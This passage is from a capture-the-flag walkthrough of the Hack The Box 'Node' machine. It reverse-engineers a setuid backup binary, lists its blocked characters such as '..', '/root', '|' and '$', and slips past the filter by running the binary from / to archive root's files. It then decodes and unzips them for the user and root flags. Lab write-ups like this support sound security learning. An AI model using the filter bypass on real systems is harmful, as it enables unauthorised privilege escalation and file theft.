    QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ
    QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV} <****wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ
    QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ
    QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW
    QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,.  -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ
    QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ
    QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ
    QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ

successfully unzipping it, we get a troll root.txt so upon further inspection of the backup binary file using radare2 we see that we need to supply other arguements 

![](prg/13_007.png)

in this function we see that we have a sanitiszation happening at the beginning of the function, and if it's 2 periods, it is going to push that b64 trollface string. 

![](prg/13_008.png)

in this function we see that we are also unable to give it the /root parameter 

and looking at the other functions we see that we are unable to use .. /root : & ` $ | /etc // / as parameters given to that backup binary

But as you can see we don't have just root, we have /root so we can simply go to the / directory, and execute the binary from there, we don't have to give it the / before passing the root parameter. 
    
    
      $ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 home/tom/user.txt
      UEsDBAoACQAAAJd9I0se46vsLQAAACEAAAARABwAaG9tZS90b20vdXNlci50eHRVVAkAA14VrFkYyF9edXgLAAEEAAAAAAToAwAAYg9ogU9H2FDWDWqaDu0w9XL3V2d03Xaa+Yqp/4M9tOD/HInQtG22oqn5GlP2UEsHCB7jq+wtAAAAIQAAAFBLAQIeAwoACQAAAJd9I0se46vsLQAAACEAAAARABgAAAAAAAEAAACggQAAAABob21lL3RvbS91c2VyLnR4dFVUBQADXhWsWXV4CwABBAAAAAAE6AMAAFBLBQYAAAAAAQABAFcAAACIAAAAAAA=
    
      $ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
    
       
    

Because we are ALREADY at / we don't need to say /root which is a bad character. so let's copy this locally : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
      → nano user.zip.b64
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
      → cat user.zip.b64| base64 -d > user.zip
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
      → 7z e user.zip
    
      7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
      p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI)
    
      Scanning the drive for archives:
      1 file, 245 bytes (1 KiB)
    
      Extracting archive: user.zip
      --
      Path = user.zip
      Type = zip
      Physical Size = 245
    
    
      Enter password (will not be echoed):
      Everything is Ok
    
      Size:       33
      Compressed: 245
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
      → cat user.txt
      e1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And we have the user flag ! now let's do the same with the root flag : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → nano root.zip.b64
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → cat root.zip.b64| base64 -d > root.zip
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → file root.zip
    root.zip: Zip archive data, at least v1.0 to extract
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → 7z e root.zip
    
    7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
    p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI)
    
    Scanning the drive for archives:
    1 file, 3858 bytes (4 KiB)
    
    Extracting archive: root.zip
    --
    Path = root.zip
    Type = zip
    Physical Size = 3858
    
    
    Enter password (will not be echoed):
    
    Would you like to replace the existing file:
      Path:     ./root.txt
      Size:     2584 bytes (3 KiB)
      Modified: 2017-09-02 23:51:30
    with the file from archive:
      Path:     root/root.txt
      Size:     33 bytes (1 KiB)
      Modified: 2017-09-03 14:46:40
    ? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? A
    
    Everything is Ok
    
    Folders: 3
    Files: 7
    Size:       4268
    Compressed: 3858
    

Giving it the password "magicword" we successfully unzip it just like the previous zip file we decoded : 
    
    
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → cat root.txt
    17XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And we have the root flag ! 

## **Conclusion**

Here we can see the progress graph :

![](img/13_graph.png)

